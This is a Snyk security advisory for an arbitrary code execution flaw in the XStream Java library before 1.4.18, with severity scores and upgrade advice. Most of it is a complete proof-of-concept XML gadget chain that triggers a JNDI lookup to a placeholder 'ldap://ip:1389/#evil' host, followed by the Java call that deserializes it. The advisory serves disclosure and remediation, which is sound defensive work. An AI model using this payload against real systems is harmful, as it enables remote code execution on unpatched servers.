Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)


0.0
high

Snyk CVSS

    Attack Complexity High
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 25.42% (97th percentile)
Expand this section
NVD
8.5 high
Expand this section
SUSE
8.1 high
Expand this section
Red Hat
8.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569177
  • published 24 Aug 2021
  • disclosed 24 Aug 2021
  • credit Ceclin and YXXX

How to fix?

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://ip:1389/#evil</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);